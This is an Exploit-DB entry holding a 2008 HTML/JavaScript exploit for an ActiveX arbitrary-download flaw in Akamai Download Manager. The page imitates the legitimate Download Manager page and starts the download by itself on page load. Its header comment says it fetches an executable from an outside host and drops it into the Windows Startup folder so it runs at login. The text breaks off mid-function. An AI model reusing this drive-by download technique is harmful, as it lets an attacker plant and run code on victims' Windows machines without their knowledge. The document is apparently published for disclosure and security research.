Exploit-DB #5741
Description: Akamai Download Manager < 2.2.3.7 - ActiveX Remote Download
Type: remote
Platform: windows
Date: 2008-06-04
Author: cocoruder

Exploit:
<html>
        

    <!--

	/**********************************************************************************
	Exploit start here, by cocoruder(frankruder_at_hotmail.com)
	For "Akamai Download Manager File Download To Arbitrary Location Vulnerability".         

	This exploit will download "http://ruder.cdut.net/attach/calc.exe" to "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\calc_run.exe".
	***********************************************************************************/

        
                
        DLM:       v2.2.3
        Received:  ActiveX, v2.2.3.5
        Reason:    MSIE 6
        Language:  en (Automatically detected)
                
            
    -->

    <head>

        <!-- Begin head fragment -->

        
            
                
  <title>Download Manager</title> 
  <script TYPE="text/javascript" LANGUAGE="javascript">
  window.resizeTo(500,510);
  </script>

            

        <!-- End head fragment -->

        <script language="JavaScript">

            var bDocReady = false;
            var bInsObj   = false;
            var isLinux   = (navigator.userAgent.indexOf("Linux") >= 0);
            var isMacFF   = (navigator.userAgent.indexOf("Firefox") >= 0 && navigator.userAgent.indexOf("Mac") >= 0);
            var isSafari  = (navigator.userAgent.indexOf("Safari") >= 0);
            var isSolaris = (navigator.userAgent.indexOf("Sun") >= 0);
            var isWinFF   = (navigator.userAgent.indexOf("Firefox") >= 0 && navigator.userAgent.indexOf("Windows") >= 0);
            var isIE7     = (navigator.userAgent.indexOf("MSIE 7") >= 0);

            function doLoad() {
        
                // Start automatically
                setTimeout("startDLM();", 1000);
            
                return;
            }

        
                

            var bdmIsReady = false;
            var bDMStarted = false;
            var bDMFailed  = false;
            var bShutdown  = false;

            var startTries = 0;

            function closeIt() {
                if (isIE7) {
                        return;
                }

                if (bDMStarted && !bShutdown) {
                    event.returnValue = "The Download Manager is still running.\n" +
                        "Pressing 'OK' will stop any active downloads and close the Download Manager.";
                }
            }

            

        </script>

        
        <noscript><meta http-equiv="Refresh" content="2;url=http://dlm.tools.akamai.com/tools_files/Readme.txt" /></noscript>
            

    </head>

    <body onload="doLoad()" onbeforeunload="closeIt()">

        <!-- Begin body fragment -->

        
            
                
                    
                        <table cellpadding="10" cellspacing="0" border="0">
<tr><td>
<strong>About the Download Manager</strong><br>
<p>The Download Manager provides for more effective, more efficient file downloads than you normally see with your browser, especially for large files or file sets.  It can pause and restart downloads even if you turn your computer off and on again. You will be presented with a security warning and after you accept, the Download Manager will install and begin to download the requested file.</p>	
<p>Should the Download Manager fail to start, or if you do not accept the security certificate, you can <a href=http://dlm.tools.akamai.com/tools_files/Readme.txt>click here</a> to download the file without using the download manager.</p><p/>
</td></tr>
</table>

                    
            

        <!-- End body fragment -->

        <DIV ID="objectDIV"></DIV>

        <script language="JavaScript">

        
                

            // Initiate shutdown
            function doDLMShutdown() {
                if (bShutdown) {
                    return;
                }

                bShutdown = true;
                window.opener = null;
                window.close();
            }


            // Initiate the download
            function doStart() {
                startTries++;
                if (startTries > 120) {
                    bDMFailed = true;
                    return;
                }

                try {
                    var dm = document.getElementById("dm");
                    if (dm == null) {
                        bDMFailed = true;
                        return;
                    }
                    dm.detachEvent("DLMShutdown", doDLMShutdown);
                    dm.attachEvent("DLMShutdown", doDLMShutdown);
                
                    
                    dm.StartDownload();
                    
                    bDMStarted = true;
                } catch (e) {
                    bDMStarted = false;
                    if (e.description != "object Error") {
                        bDMFailed = true;
                    }
                }
            }

            // Start the DLM
            function startDLM() {

				//alert("pause");

                if (bDocReady) {
                    insertObj();
                    if (bdmIsReady) {
                        doStart();
                    }
                }

                if (bDMFailed) {
                    // Don't try to go direct, since this happens by
                    // default on XP SP2 and above.
                    return;
                }

                if (!bDMStarted) {
                    setTimeout("startDLM();", 500);
                }
            }

            // Check if the DM object is fully loaded
            function dmReady() {
                var dm = document.getElementById("dm");
                if (dm == null) {
                    bDMFailed = true;
                    return;
                }

                if (dm.readyState == 4)